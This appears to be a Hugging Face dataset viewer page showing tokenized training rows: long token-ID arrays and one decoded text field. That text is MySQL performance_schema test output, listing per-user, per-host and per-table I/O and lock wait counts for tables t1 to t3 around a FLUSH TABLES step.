jeffreygwang/testdata · Datasets at Hugging Face

tokens sequencelengths 2.05k 2.05k	text stringlengths 1.08k 32.4k
[ 3605, 9, 4663, 64, 67, 10, 835, 270, 30, 22, 28, 187, 66, 186, 67, 186, 68, 186, 69, 187, 10655, 186, 22, 186, 22, 186, 18, 187, 3, 37338, 345, 18, 10705, 209, 37338, 3, 187, 3, 37338, 18952, 495, 14, 34, 209, 37338, 3, 187, 4065, 13725, 64, 11972, 1874, 187, 19721, 186, 8045, 64, 1590, 186, 5560, 64, 7873, 187, 4537, 18, 186, 14061, 16, 900, 16, 2420, 16, 11296, 16, 20238, 186, 17, 187, 4537, 18, 186, 14061, 16, 4348, 16, 2420, 16, 11296, 16, 20238, 186, 17, 187, 19721, 186, 8581, 187, 4537, 19, 186, 1439, 1119, 187, 19721, 186, 8581, 187, 4537, 20, 186, 1439, 1119, 187, 19721, 186, 8581, 187, 4537, 21, 186, 1439, 1119, 187, 21599, 13725, 64, 8754, 953, 64, 15793, 28, 187, 4537, 186, 5465, 186, 8045, 64, 1590, 186, 5560, 64, 7873, 187, 4537, 18, 186, 22922, 186, 14061, 16, 900, 16, 2420, 16, 11296, 16, 20238, 186, 17, 187, 4537, 18, 186, 22922, 186, 14061, 16, 4348, 16, 2420, 16, 11296, 16, 20238, 186, 17, 187, 21599, 13725, 64, 8754, 953, 64, 4537, 28, 187, 4537, 186, 8045, 64, 1590, 186, 5560, 64, 7873, 187, 4537, 18, 186, 14061, 16, 900, 16, 2420, 16, 11296, 16, 20238, 186, 17, 187, 4537, 18, 186, 14061, 16, 4348, 16, 2420, 16, 11296, 16, 20238, 186, 17, 187, 21599, 13725, 64, 8754, 953, 64, 5465, 28, 187, 5465, 186, 8045, 64, 1590, 186, 5560, 64, 7873, 187, 22922, 186, 14061, 16, 900, 16, 2420, 16, 11296, 16, 20238, 186, 17, 187, 22922, 186, 14061, 16, 4348, 16, 2420, 16, 11296, 16, 20238, 186, 17, 187, 21599, 13725, 64, 8754, 953, 64, 14456, 28, 187, 8045, 64, 1590, 186, 5560, 64, 7873, 187, 14061, 16, 900, 16, 2420, 16, 11296, 16, 20238, 186, 1237, 187, 14061, 16, 4348, 16, 2420, 16, 11296, 16, 20238, 186, 1093, 187, 21599, 13725, 64, 8754, 953, 64, 22328, 28, 187, 8045, 64, 1590, 186, 5560, 9, 8045, 64, 1590, 10, 186, 6082, 64, 881, 186, 6082, 64, 18982, 186, 6082, 64, 1590, 187, 21599, 13725, 64, 8754, 953, 64, 4663, 64, 900, 28, 187, 6082, 64, 881, 186, 6082, 64, 18982, 186, 6082, 64, 1590, 186, 4663, 64, 1590, 186, 5560, 64, 7873, 186, 5560, 64, 1088, 186, 5560, 64, 6343, 186, 5560, 64, 24717, 186, 5560, 64, 14447, 186, 5560, 64, 11183, 186, 5560, 64, 16435, 187, 24608, 186, 2566, 186, 85, 18, 186, 15522, 186, 21, 186, 20, 186, 18, 186, 20, 186, 18, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 18, 186, 4663, 64, 67, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 18, 186, 4663, 64, 11316, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 18, 186, 3175, 44825, 186, 20, 186, 18, 186, 19, 186, 18, 186, 17, 186, 19, 186, 17, 187, 24608, 186, 2566, 186, 85, 19, 186, 15522, 186, 24, 186, 22, 186, 19, 186, 22, 186, 19, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 19, 186, 4663, 64, 67, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 19, 186, 4663, 64, 11316, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 19, 186, 3175, 44825, 186, 20, 186, 18, 186, 19, 186, 18, 186, 17, 186, 19, 186, 17, 187, 24608, 186, 2566, 186, 85, 20, 186, 15522, 186, 740, 186, 24, 186, 20, 186, 24, 186, 20, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 20, 186, 4663, 64, 67, 186, 18, 186, 18, 186, 17, 186, 18, 186, 17, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 20, 186, 4663, 64, 11316, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 20, 186, 3175, 44825, 186, 21, 186, 18, 186, 20, 186, 18, 186, 17, 186, 20, 186, 17, 187, 21599, 13725, 64, 8754, 953, 64, 2420, 64, 900, 28, 187, 6082, 64, 881, 186, 6082, 64, 18982, 186, 6082, 64, 1590, 186, 5560, 64, 7873, 186, 5560, 64, 1088, 186, 5560, 64, 6343, 186, 5560, 64, 24717, 186, 5560, 64, 14447, 186, 5560, 64, 11183, 186, 5560, 64, 16435, 187, 24608, 186, 2566, 186, 85, 18, 186, 24, 186, 21, 186, 20, 186, 21, 186, 18, 186, 19, 186, 17, 187, 24608, 186, 2566, 186, 85, 19, 186, 740, 186, 23, 186, 21, 186, 23, 186, 19, 186, 19, 186, 17, 187, 24608, 186, 2566, 186, 85, 20, 186, 1010, 186, 26, 186, 23, 186, 26, 186, 20, 186, 20, 186, 17, 187, 21599, 13725, 64, 8754, 953, 64, 2420, 64, 4348, 28, 187, 6082, 64, 881, 186, 6082, 64, 18982, 186, 6082, 64, 1590, 186, 5560, 64, 7873, 186, 5560, 64, 1088, 186, 5560, 64, 6343, 186, 5560, 64, 1088, 64, 6320, 186, 5560, 64, 1088, 64, 3113, 64, 18867, 64, 39886, 186, 5560, 64, 1088, 64, 8656, 64, 36505, 186, 5560, 64, 1088, 64, 2369, 64, 14447, 186, 5560, 64, 1088, 64, 22108, 186, 5560, 64, 6343, 64, 676, 64, 36505, 186, 5560, 64, 6343, 64, 22108, 187, 24608, 186, 2566, 186, 85, 18, 186, 22, 186, 19, 186, 20, 186, 17, 186, 17, 186, 17, 186, 17, 186, 19, 186, 17, 186, 20, 187, 24608, 186, 2566, 186, 85, 19, 186, 23, 186, 19, 186, 21, 186, 17, 186, 17, 186, 17, 186, 17, 186, 19, 186, 17, 186, 21, 187, 24608, 186, 2566, 186, 85, 20, 186, 24, 186, 19, 186, 22, 186, 17, 186, 17, 186, 17, 186, 17, 186, 19, 186, 17, 186, 22, 187, 21599, 13725, 64, 25964, 64, 8774, 28, 187, 6082, 64, 881, 186, 6082, 64, 18982, 186, 6082, 64, 1590, 186, 5560, 64, 7873, 187, 24608, 186, 2566, 186, 85, 18, 186, 805, 187, 24608, 186, 2566, 186, 85, 19, 186, 1036, 187, 24608, 186, 2566, 186, 85, 20, 186, 1423, 187, 34459, 7180, 28, 187, 3, 37338, 345, 18, 11953, 27224, 209, 37338, 3, 187, 3, 37338, 18952, 495, 14, 35, 209, 37338, 3, 187, 4065, 13725, 64, 11972, 1874, 187, 19721, 186, 8045, 64, 1590, 186, 5560, 64, 7873, 187, 4537, 18, 186, 14061, 16, 900, 16, 2420, 16, 11296, 16, 20238, 186, 17, 187, 4537, 18, 186, 14061, 16, 4348, 16, 2420, 16, 11296, 16, 20238, 186, 17, 187, 19721, 186, 8581, 187, 4537, 19, 186, 1439, 1119, 187, 19721, 186, 8581, 187, 4537, 20, 186, 1439, 1119, 187, 19721, 186, 8581, 187, 4537, 21, 186, 1439, 1119, 187, 21599, 13725, 64, 8754, 953, 64, 15793, 28, 187, 4537, 186, 5465, 186, 8045, 64, 1590, 186, 5560, 64, 7873, 187, 4537, 18, 186, 22922, 186, 14061, 16, 900, 16, 2420, 16, 11296, 16, 20238, 186, 17, 187, 4537, 18, 186, 22922, 186, 14061, 16, 4348, 16, 2420, 16, 11296, 16, 20238, 186, 17, 187, 21599, 13725, 64, 8754, 953, 64, 4537, 28, 187, 4537, 186, 8045, 64, 1590, 186, 5560, 64, 7873, 187, 4537, 18, 186, 14061, 16, 900, 16, 2420, 16, 11296, 16, 20238, 186, 17, 187, 4537, 18, 186, 14061, 16, 4348, 16, 2420, 16, 11296, 16, 20238, 186, 17, 187, 21599, 13725, 64, 8754, 953, 64, 5465, 28, 187, 5465, 186, 8045, 64, 1590, 186, 5560, 64, 7873, 187, 22922, 186, 14061, 16, 900, 16, 2420, 16, 11296, 16, 20238, 186, 17, 187, 22922, 186, 14061, 16, 4348, 16, 2420, 16, 11296, 16, 20238, 186, 17, 187, 21599, 13725, 64, 8754, 953, 64, 14456, 28, 187, 8045, 64, 1590, 186, 5560, 64, 7873, 187, 14061, 16, 900, 16, 2420, 16, 11296, 16, 20238, 186, 1237, 187, 14061, 16, 4348, 16, 2420, 16, 11296, 16, 20238, 186, 1093, 187, 21599, 13725, 64, 8754, 953, 64, 22328, 28, 187, 8045, 64, 1590, 186, 5560, 9, 8045, 64, 1590, 10, 186, 6082, 64, 881, 186, 6082, 64, 18982, 186, 6082, 64, 1590, 187, 21599, 13725, 64, 8754, 953, 64, 4663, 64, 900, 28, 187, 6082, 64, 881, 186, 6082, 64, 18982, 186, 6082, 64, 1590, 186, 4663, 64, 1590, 186, 5560, 64, 7873, 186, 5560, 64, 1088, 186, 5560, 64, 6343, 186, 5560, 64, 24717, 186, 5560, 64, 14447, 186, 5560, 64, 11183, 186, 5560, 64, 16435, 187, 24608, 186, 2566, 186, 85, 18, 186, 15522, 186, 21, 186, 20, 186, 18, 186, 20, 186, 18, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 18, 186, 4663, 64, 67, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 18, 186, 4663, 64, 11316, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 18, 186, 3175, 44825, 186, 20, 186, 18, 186, 19, 186, 18, 186, 17, 186, 19, 186, 17, 187, 24608, 186, 2566, 186, 85, 19, 186, 15522, 186, 24, 186, 22, 186, 19, 186, 22, 186, 19, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 19, 186, 4663, 64, 67, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 19, 186, 4663, 64, 11316, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 19, 186, 3175, 44825, 186, 20, 186, 18, 186, 19, 186, 18, 186, 17, 186, 19, 186, 17, 187, 24608, 186, 2566, 186, 85, 20, 186, 15522, 186, 740, 186, 24, 186, 20, 186, 24, 186, 20, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 20, 186, 4663, 64, 67, 186, 18, 186, 18, 186, 17, 186, 18, 186, 17, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 20, 186, 4663, 64, 11316, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 20, 186, 3175, 44825, 186, 21, 186, 18, 186, 20, 186, 18, 186, 17, 186, 20, 186, 17, 187, 21599, 13725, 64, 8754, 953, 64, 2420, 64, 900, 28, 187, 6082, 64, 881, 186, 6082, 64, 18982, 186, 6082, 64, 1590, 186, 5560, 64, 7873, 186, 5560, 64, 1088, 186, 5560, 64, 6343, 186, 5560, 64, 24717, 186, 5560, 64, 14447, 186, 5560, 64, 11183, 186, 5560, 64, 16435, 187, 24608, 186, 2566, 186, 85, 18, 186, 24, 186, 21, 186, 20, 186, 21, 186, 18, 186, 19, 186, 17, 187, 24608, 186, 2566, 186, 85, 19, 186, 740, 186, 23, 186, 21, 186, 23, 186, 19, 186, 19, 186, 17, 187, 24608, 186, 2566, 186, 85, 20, 186, 1010, 186, 26, 186, 23, 186, 26, 186, 20, 186, 20, 186, 17, 187, 21599, 13725, 64, 8754, 953, 64, 2420, 64, 4348, 28, 187, 6082, 64, 881, 186, 6082, 64, 18982, 186, 6082, 64, 1590, 186, 5560, 64, 7873, 186, 5560, 64, 1088, 186, 5560, 64, 6343, 186, 5560, 64, 1088, 64, 6320, 186, 5560, 64, 1088, 64, 3113, 64, 18867, 64, 39886, 186, 5560, 64, 1088, 64, 8656, 64, 36505, 186, 5560, 64, 1088, 64, 2369, 64, 14447, 186, 5560, 64, 1088, 64, 22108, 186, 5560, 64, 6343, 64, 676, 64, 36505, 186, 5560, 64, 6343, 64, 22108, 187, 24608, 186, 2566, 186, 85, 18, 186, 22, 186, 19, 186, 20, 186, 17, 186, 17, 186, 17, 186, 17, 186, 19, 186, 17, 186, 20, 187, 24608, 186, 2566, 186, 85, 19, 186, 23, 186, 19, 186, 21, 186, 17, 186, 17, 186, 17, 186, 17, 186, 19, 186, 17, 186, 21, 187, 24608, 186, 2566, 186, 85, 20, 186, 24, 186, 19, 186, 22, 186, 17, 186, 17, 186, 17, 186, 17, 186, 19, 186, 17, 186, 22, 187, 21599, 13725, 64, 25964, 64, 8774, 28, 187, 6082, 64, 881, 186, 6082, 64, 18982, 186, 6082, 64, 1590, 186, 5560, 64, 7873, 187, 24608, 186, 2566, 186, 85, 18, 186, 805, 187, 24608, 186, 2566, 186, 85, 19, 186, 1036, 187, 24608, 186, 2566, 186, 85, 20, 186, 1423, 187, 7135, 7036, 255, 9, 6259, 64, 4537, 5715, 346, 310, 4802, 2807, 347, 3708, 28, 187, 8581, 187, 4537, 19 ]	index(index_b) where b=5; a b c d 105 5 5 1 "================== con1 marker ==================" "================== Step 3-A ==================" call dump_thread(); username event_name count_star user1 wait/io/table/sql/handler 0 user1 wait/lock/table/sql/handler 0 username status user2 not found username status user3 not found username status user4 not found execute dump_waits_account; user host event_name count_star user1 localhost wait/io/table/sql/handler 0 user1 localhost wait/lock/table/sql/handler 0 execute dump_waits_user; user event_name count_star user1 wait/io/table/sql/handler 0 user1 wait/lock/table/sql/handler 0 execute dump_waits_host; host event_name count_star localhost wait/io/table/sql/handler 0 localhost wait/lock/table/sql/handler 0 execute dump_waits_global; event_name count_star wait/io/table/sql/handler 32 wait/lock/table/sql/handler 18 execute dump_waits_history; event_name count(event_name) object_type object_schema object_name execute dump_waits_index_io; object_type object_schema object_name index_name count_star count_read count_write count_fetch count_insert count_update count_delete TABLE test t1 NULL 4 3 1 3 1 0 0 TABLE test t1 index_b 0 0 0 0 0 0 0 TABLE test t1 index_cb 0 0 0 0 0 0 0 TABLE test t1 PRIMARY 3 1 2 1 0 2 0 TABLE test t2 NULL 7 5 2 5 2 0 0 TABLE test t2 index_b 0 0 0 0 0 0 0 TABLE test t2 index_cb 0 0 0 0 0 0 0 TABLE test t2 PRIMARY 3 1 2 1 0 2 0 TABLE test t3 NULL 10 7 3 7 3 0 0 TABLE test t3 index_b 1 1 0 1 0 0 0 TABLE test t3 index_cb 0 0 0 0 0 0 0 TABLE test t3 PRIMARY 4 1 3 1 0 3 0 execute dump_waits_table_io; object_type object_schema object_name count_star count_read count_write count_fetch count_insert count_update count_delete TABLE test t1 7 4 3 4 1 2 0 TABLE test t2 10 6 4 6 2 2 0 TABLE test t3 15 9 6 9 3 3 0 execute dump_waits_table_lock; object_type object_schema object_name count_star count_read count_write count_read_normal count_read_with_shared_locks count_read_high_priority count_read_no_insert count_read_external count_write_low_priority count_write_external TABLE test t1 5 2 3 0 0 0 0 2 0 3 TABLE test t2 6 2 4 0 0 0 0 2 0 4 TABLE test t3 7 2 5 0 0 0 0 2 0 5 execute dump_objects_summary; object_type object_schema object_name count_star TABLE test t1 12 TABLE test t2 16 TABLE test t3 22 flush tables; "================== con1 FLUSH ==================" "================== Step 3-B ==================" call dump_thread(); username event_name count_star user1 wait/io/table/sql/handler 0 user1 wait/lock/table/sql/handler 0 username status user2 not found username status user3 not found username status user4 not found execute dump_waits_account; user host event_name count_star user1 localhost wait/io/table/sql/handler 0 user1 localhost wait/lock/table/sql/handler 0 execute dump_waits_user; user event_name count_star user1 wait/io/table/sql/handler 0 user1 wait/lock/table/sql/handler 0 execute dump_waits_host; host event_name count_star localhost wait/io/table/sql/handler 0 localhost wait/lock/table/sql/handler 0 execute dump_waits_global; event_name count_star wait/io/table/sql/handler 32 wait/lock/table/sql/handler 18 execute dump_waits_history; event_name count(event_name) object_type object_schema object_name execute dump_waits_index_io; object_type object_schema object_name index_name count_star count_read count_write count_fetch count_insert count_update count_delete TABLE test t1 NULL 4 3 1 3 1 0 0 TABLE test t1 index_b 0 0 0 0 0 0 0 TABLE test t1 index_cb 0 0 0 0 0 0 0 TABLE test t1 PRIMARY 3 1 2 1 0 2 0 TABLE test t2 NULL 7 5 2 5 2 0 0 TABLE test t2 index_b 0 0 0 0 0 0 0 TABLE test t2 index_cb 0 0 0 0 0 0 0 TABLE test t2 PRIMARY 3 1 2 1 0 2 0 TABLE test t3 NULL 10 7 3 7 3 0 0 TABLE test t3 index_b 1 1 0 1 0 0 0 TABLE test t3 index_cb 0 0 0 0 0 0 0 TABLE test t3 PRIMARY 4 1 3 1 0 3 0 execute dump_waits_table_io; object_type object_schema object_name count_star count_read count_write count_fetch count_insert count_update count_delete TABLE test t1 7 4 3 4 1 2 0 TABLE test t2 10 6 4 6 2 2 0 TABLE test t3 15 9 6 9 3 3 0 execute dump_waits_table_lock; object_type object_schema object_name count_star count_read count_write count_read_normal count_read_with_shared_locks count_read_high_priority count_read_no_insert count_read_external count_write_low_priority count_write_external TABLE test t1 5 2 3 0 0 0 0 2 0 3 TABLE test t2 6 2 4 0 0 0 0 2 0 4 TABLE test t3 7 2 5 0 0 0 0 2 0 5 execute dump_objects_summary; object_type object_schema object_name count_star TABLE test t1 12 TABLE test t2 16 TABLE test t3 22 select concat(current_user(), " is connected") as status; status user2
[ 11, 50268, 3507, 50275, 18, 50275, 1348, 50275, 805, 50275, 938, 50275, 3011, 187, 50276, 6784, 54, 361, 14322, 50259, 3220, 67, 9464, 2803, 313, 31034, 2526, 740, 1867, 15, 18, 10, 50254, 50270, 475, 18157, 406, 5916, 316, 1048, 266, 11, 50254, 252, 50264, 50276, 3121, 50254, 50270, 50276, 20, 50274, 19, 50274, 22, 50274, 187, 50276, 6784, 54, 933, 4185, 50259, 7273, 49, 14, 40119, 27, 1258, 580, 251, 1238, 495, 13023, 48, 4842, 20522, 39847, 30837, 313, 54, 39, 9334, 10, 313, 8506, 2090, 3680, 1010, 15, 18, 10, 50275, 11, 4604, 356, 8125, 271, 266, 25445, 11, 50254, 252, 50264, 50276, 3046, 50254, 245, 50265, 18, 50274, 18, 50274, 187, 50276, 6623, 15100, 50257, 6784, 54, 1418, 26, 50254, 50254, 50266, 50276, 55, 317, 86, 6062, 14809, 28180, 20560, 443, 18, 313, 39, 43, 2270, 2358, 2405, 15, 18, 10, 50260, 11, 43, 35078, 1494, 1095, 16559, 11, 50268, 3593, 50266, 20, 50274, 22, 50274, 25, 187, 50276, 6784, 54, 933, 3832, 50259, 23, 14, 13778, 462, 7675, 585, 366, 28421, 313, 30476, 25, 17220, 1706, 15, 18, 10, 50254, 475, 36, 1028, 360, 261, 2206, 400, 316, 11, 50254, 979, 50263, 11422, 50254, 50272, 18, 50275, 18, 50274, 18, 50274, 20, 50274, 187, 50276, 6784, 54, 361, 26673, 50259, 29858, 7124, 44555, 14, 3022, 2601, 313, 2925, 1348, 520, 3953, 15, 18, 10, 50254, 50275, 11, 24474, 615, 360, 8554, 72, 609, 11, 50254, 979, 50263, 9934, 50254, 50270, 50276, 18, 50269, 18, 50274, 187, 50276, 6784, 54, 933, 2950, 50259, 5346, 337, 283, 20, 7124, 266, 511, 313, 30476, 29462, 27632, 15, 18, 10, 50254, 245, 50265, 209, 475, 55, 5895, 4172, 1148, 571, 11, 50254, 50254, 1976, 50254, 245, 50265, 19, 50274, 19, 50274, 187, 50276, 22648, 50258, 6784, 54, 361, 11246, 50254, 50254, 50266, 50276, 33498, 42957, 27658, 511, 10680, 14, 3022, 2601, 313, 11070, 3123, 10, 313, 36947, 40666, 38032, 15, 18, 10, 50275, 11, 36, 35467, 247, 363, 36995, 360, 11, 50268, 2055, 50261, 18, 50274, 18, 187, 50276, 6784, 54, 361, 13397, 50259, 33498, 42957, 27658, 511, 313, 11070, 10, 313, 8506, 3071, 1731, 4148, 15, 18, 10, 50254, 50270, 50276, 475, 40801, 289, 48108, 11, 50254, 245, 50265, 209, 9654, 50254, 245, 50265, 18, 50274, 18, 50274, 187, 50276, 6784, 54, 933, 1423, 50259, 6052, 1004, 15678, 313, 49, 3519, 10, 313, 39, 43, 2504, 1706, 1797, 15, 18, 10, 50254, 245, 50265, 209, 475, 45, 2682, 74, 22239, 16520, 11, 50254, 979, 50263, 3547, 50254, 245, 50265, 19, 50274, 19, 50274, 187, 50276, 34, 49086, 50256, 6784, 54, 5831, 17, 50254, 50254, 50266, 50276, 2422, 26898, 28421, 313, 2350, 41, 10, 313, 43, 39, 24424, 34920, 15, 18, 10, 50255, 11, 12558, 2161, 90, 2921, 465, 11938, 11, 50267, 3593, 50266, 21, 50274, 740, 50275, 1047, 187, 50276, 6784, 54, 361, 12347, 50259, 2422, 26898, 28421, 313, 2350, 41, 10, 313, 2300, 3071, 1630, 2640, 15, 18, 10, 50254, 50272, 11, 2422, 79, 316, 13627, 249, 6859, 11, 50254, 979, 50263, 11107, 50254, 245, 50265, 18, 50274, 18, 50274, 187, 50276, 6784, 54, 361, 13381, 50259, 2422, 26898, 28421, 313, 2350, 41, 10, 313, 9006, 19332, 21151, 15, 18, 10, 50254, 50272, 11, 55, 5895, 35803, 338, 3525, 11, 50254, 979, 50263, 209, 11003, 50254, 245, 50265, 21, 50274, 21, 50274, 187, 50276, 6784, 54, 1418, 19, 50259, 17624, 5931, 7665, 28421, 313, 8506, 2904, 1857, 1235, 15, 18, 10, 50254, 11, 40801, 289, 48108, 11, 50254, 245, 50265, 209, 11102, 50254, 245, 50265, 18, 50274, 18, 50274, 187, 50276, 6784, 54, 4838, 1010, 50259, 17624, 5931, 7665, 28421, 313, 2925, 746, 1619, 3507, 15, 18, 10, 50254, 11, 52, 24361, 360, 6985, 18503, 360, 11, 50254, 252, 50264, 50276, 1540, 50254, 50272, 18, 50265, 18, 50274, 187, 6717, 18114, 273, 37121, 372, 4988, 511, 313, 40851, 10, 2425, 285, 14746, 4073, 275, 1363, 342, 6722, 16298, 408, 5895, 15, 187, 1992, 22175, 253, 12510, 273, 37121, 372, 4988, 511, 313, 40851, 10, 9548, 13, 534, 556, 1774, 9503, 275, 253, 9827, 273, 43853, 1341, 13, 285, 14746, 4073, 275, 1363, 342, 6722, 16298, 408, 5895, 15, 30028, 285, 4408, 3530, 497, 2797, 432, 2030, 1363, 665, 13368, 16298, 300, 732, 4182, 1955, 281, 18902, 13305, 273, 7928, 16298, 408, 5895, 15, 496, 253, 1453, 1387, 13, 534, 671, 574, 2030, 5705, 13, 760, 6658, 3530, 497, 2668, 347, 13546, 4408, 3530, 651, 417, 452, 644, 5105, 1037, 4569, 15, 37149, 9548, 2425, 13, 6310, 511, 313, 24227, 582, 6315, 280, 44927, 511, 313, 4280, 582, 32808, 11893, 313, 7716, 10, 285, 4691, 857, 451, 18054, 313, 46, 4877, 10, 497, 4080, 275, 253, 6658, 285, 4408, 3530, 273, 1363, 285, 1453, 1387, 5705, 15, 380, 6658, 2193, 273, 1097, 2390, 497, 2429, 15, 496, 1635, 13, 253, 4408, 285, 6658, 2193, 273, 1363, 497, 2429, 15, 30028, 37149, 2425, 285, 253, 7495, 386, 12807, 27349, 285, 7651, 2193, 273, 253, 3110, 1387, 497, 3012, 2169, 685, 1110, 273, 253, 1453, 1387, 313, 81, 654, 470, 15, 2874, 582, 253, 20118, 12807, 6582, 285, 29782, 2193, 273, 253, 3110, 1387, 497, 3012, 2406, 685, 1110, 273, 253, 1453, 1387, 313, 81, 654, 470, 15, 2874, 481, 496, 1635, 13, 1223, 6582, 13, 29782, 285, 7651, 9548, 2308, 497, 1119, 281, 320, 3012, 2169, 275, 253, 16298, 300, 4408, 273, 253, 3110, 1387, 672, 2429, 281, 6658, 2308, 313, 81, 654, 470, 15, 1762, 582, 627, 369, 642, 3064, 875, 4408, 285, 6658, 27349, 285, 37149, 2425, 313, 81, 2239, 470, 15, 1762, 481, 13173, 87, 456, 37149, 2425, 778, 320, 3576, 275, 253, 19556, 273, 6722, 16298, 408, 5895, 1097, 407, 11490, 272, 4408, 2605, 285, 15979, 281, 322, 1372, 4702, 15, 510, 1055, 273, 1027, 3082, 273, 18984, 10277, 323, 1966, 275, 7991, 46960, 285, 26223, 5407, 15, 187, 10195, 3510, 273, 12358, 32991, 452, 644, 908, 281, 4711, 18984, 10277, 323, 275, 7991, 46960, 285, 26223, 5407, 15, 1723, 13, 1643, 20407, 2175, 452, 644, 2361, 15, 496, 436, 5839, 13, 12446, 1363, 497, 1677, 2057, 502, 297, 532, 17866, 42470, 3815, 13, 1966, 1821, 32171, 50138, 41916, 968, 3815, 13, 390, 247, 5019, 273, 841, 5835, 28, 285, 253, 4795, 1180, 273, 36805, 5728, 13, 19019, 4197, 13, 285, 36486, 15247, 403, 2361, 15, 380, 941, 7568, 8654, 23423, 282, 2440, 285, 46960, 4142, 342, 13553, 273, 5835, 13, 2581, 685, 253, 897, 273, 247, 2014, 5570, 15, 3840, 2175, 403, 3058, 281, 3653, 1880, 627, 310, 247, 10126, 1534, 3064, 275, 10438, 4142, 875, 2390, 15, 27041, 267, 6875, 708, 10784, 1227, 21710, 13126, 187, 187, 27041, 267, 6875, 285, 10784, 313, 24422, 10, 9333, 310, 9583, 275, 416, 7, 37, 789, 327, 253, 2440, 273, 1232, 10296, 323, 253, 6833, 273, 19165, 33258, 3580, 432, 639, 287, 14, 49338, 47334, 824, 347, 11789, 5424, 76, 13, 8778, 15898, 13, 17916, 33926, 1499, 356, 13, 275, 5124, 462, 3170, 316, 78, 285, 30037, 1499, 438, 2510, 15, 4825, 14701, 310, 10090, 327, 6938, 17432, 1453, 275, 1232, 17057, 2905, 281, 3652, 4753, 13, 824, 347, 19165, 13, 30037, 13, 40154, 285, 32409, 4323, 275, 9195, 15, 187, 187, 51, 7, 37, 388, 2431, 11040, 9981, 52, 187, 187, 36, 1003, 23910, 187, 187, 46, 1187, 610, 260, 3658, 285, 643, 19165, 33258, 8980, 398, 432, 639, 287, 14, 49338, 47334, 187, 187, 20357, 3276, 19165, 970, 17160, 14460, 187, 187, 11688, 1373, 14, 5367, 4396, 311, 3230, 19165, 187, 187, 11688, 1373, 1499, 356, 19165, 187, 187, 15705, 14, 84, 335, 545, 456, 19165, 187, 187, 51, 547, 5424, 76, 15898, 19165, 187, 187, 49, 2555, 890, 1453, 985, 323, 30037, 11895, 2224, 187, 187, 30725, 793, 360, 23910, 187, 187, 39, 2560, 528, 20925, 793, 360, 1847, 2237, 3452, 2196, 187, 187, 26042, 1108, 14264, 20925, 793, 360, 378, 6228, 187, 187, 30725, 793, 360, 2071, 4121, 187, 187, 11001, 16372, 511, 1847, 2237, 187, 187, 1145, 22034, 3852, 19165, 187, 187, 30725, 793, 360, 308, 3205, 187, 187, 49, 2555, 890, 43373, 187, 187, 33818, 850, 6037, 20766, 43373, 187, 187, 51, 2373, 13, 9396, 285, 3216, 1824, 3290, 8667, 323, 8708, 285, 30770, 17432, 15, 187, 187, 40207, 6366, 19433, 2949, 39, 5214, 33284, 1647, 10860, 708, 31993, 2637, 401, 1934, 3077, 1433, 9785, 187, 187, 510, 9333, 556, 4980, 30787, 942, 323, 7103, 273, 1027, 1736, 408, 3254, 13, 4891, 29095, 13, 639, 287, 14, 49338, 47334, 751, 8778, 15898, 13, 2502, 16059, 15067, 708, 17160, 8105, 723, 3966, 15, 2053, 4753, 12647, 253, 2201, 10713, 273, 9305, 4753, 275, 253, 10264, 273, 40154, 285, 28390, 15, 380, 1071, 9189, 2486, 688, 23294, 434, 18742, 313, 2350, 582, 253, 10969, 21725, 273, 9840, 30593, 2601, 20379, 432, 253, 14036, 6384, 2223, 11330, 247, 2601, 28381, 337, 14, 2945, 534, 310, 275, 43665, 5176, 407, 2622, 17998, 4870, 15, 733, 556, 644, 2361, 326, 19663, 9840, 30593, 13081, 14724, 403, 4122, 6551, 39826, 15, 5076, 13, 689, 673, 13, 436, 19663, 2601, 19308, 486, 310, 17063, 347, 247, 9840, 30593, 2601, 28381, 23861, 1561, 3998, 4408, 13, 4283, 281, 253, 1980, 12536, 273, 8512, 15, 380, 28381, 23861, 12503, 310, 671, 6566, 281, 46554, 271, 10142, 2380, 407, 34161, 285, 15431, 13, 534, 9446, 253, 23861, 347, 247, 5639, 2133, 15, 2053, 1341, 403, 6566, 281, 3794, 281, 253, 23861, 12503, 407, 20437, 354, 14, 13901, 16011, 285, 17411, 7768, 3417, 313, 38528, 481, 4129, 253, 10142, 2380, 778, 320, 42652, 275, 271, 3434, 281, 2590, 253, 3998, 4408, 273, 253, 30078, 23861, 13, 352, 310, 1024, 6566, 326, 436, 10696, 671, 2450, 980, 1980, 16069, 4408, 13, 7624, 21951, 839, 5446, 15, 8144, 13228, 13081, 14724, 273, 9840, 30593, 390, 773, 2350, 6721, 84, 668, 403, 247, 6551, 39826, 3417, 19588, 275, 5446, 19556, 15, 19028, 13, 500, 15, 38912, 15, 11382, 904, 22121, 13, 818, 13, 4416, 15, 1283, 13, 5826, 13, 608, 39328, 14, 3046, 520, 15, 187, 688, 253, 1984, 773, 510, 21688, 330, 459, 668, 313, 9755, 13, 16442, 2040, 14, 38359, 13, 427, 15, 58, 904, 427, 15, 58, 11507, 3196, 15, 18410, 301, 401, 302, 86, 5801, 12013, 27, 773, 2641, 1513, 13428, 4413, 275, 3186, 273, 10721, 5835, 